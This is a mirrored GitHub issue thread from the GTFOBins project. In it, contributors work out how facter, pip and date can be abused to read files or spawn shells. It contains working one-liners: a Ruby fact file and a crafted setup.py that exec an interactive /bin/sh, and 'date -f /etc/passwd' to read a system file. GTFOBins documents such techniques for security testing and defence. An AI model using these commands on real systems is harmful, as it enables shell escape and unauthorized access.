Code Monkey home page Code Monkey logo

Comments (10)

epinna avatar epinna commented on May 20, 2024 1

Thanks AlessandroZ, that's a great contribution, I'll work on this next days.

from gtfobins.github.io.

epinna avatar epinna commented on May 20, 2024

Did you try the facter payload? My version uses a slightly different syntax i.e. uses --external-dir but I get no command execution.

$ cat x2
Facter.add(x) do
  setcode do
    Facter::Core::Execution.execute('/usr/bin/id > /tmp/output')
    Facter::Util::Resolution.exec('/usr/bin/id > /tmp/output')
  end
end
$ facter --external-dir=.
Fact file ./x2 was parsed but returned an empty data set
...
$ cat /tmp/output
cat: /tmp/output: No such file or directory

Since it's Ruby I also tried some generic ruby command execution statement, with no luck so far.

from gtfobins.github.io.

AlessandroZ avatar AlessandroZ commented on May 20, 2024

Hi,

No in fact, I haven't tested it before. I do not have custom-dir as well but it should be alse done using the environment variable FACTERLIB. I have just done some test but without success.

I agree, it's weird, in lot of examples, they launch system command.

from gtfobins.github.io.

cyrus-and avatar cyrus-and commented on May 20, 2024

OK the problem was that directories must be absolute paths.

Also apparently there are two kind of facts:

  • custom facts (that uses FACTERLIB) are Ruby files;
  • external facts (that uses external-dir) are any shebanged executable file.

The nice thing about the former is that the Ruby code is executed within the main ruby process so with an exec we can replace it with a proper interactive shell.

Here's how:

TF=$(mktemp --tmpdir XXXXXXXXXX.rb)
echo 'exec("/bin/sh")' > $TF
FACTERLIB=/tmp/ facter

I'm going to add the binary.

from gtfobins.github.io.

AlessandroZ avatar AlessandroZ commented on May 20, 2024

Awesome, nice work. πŸ‘

from gtfobins.github.io.

AlessandroZ avatar AlessandroZ commented on May 20, 2024

I have seen this one too:
date -f /etc/passwd

from gtfobins.github.io.

AlessandroZ avatar AlessandroZ commented on May 20, 2024

pip as well using a custom repo:
pip install custom_repo

Like these repos (or another custom one):

from gtfobins.github.io.

cyrus-and avatar cyrus-and commented on May 20, 2024

Thanks @AlessandroZ, let's see if GitHub can help us keeping track of this:

from gtfobins.github.io.

cyrus-and avatar cyrus-and commented on May 20, 2024

Here's the pip version, it's just execute-interactive, I'm not sure if we should add all the other functions since it's basically Python.

TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
pip install $TF

from gtfobins.github.io.

AlessandroZ avatar AlessandroZ commented on May 20, 2024

It's perfect like that. Thanks for your work. πŸ‘

from gtfobins.github.io.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.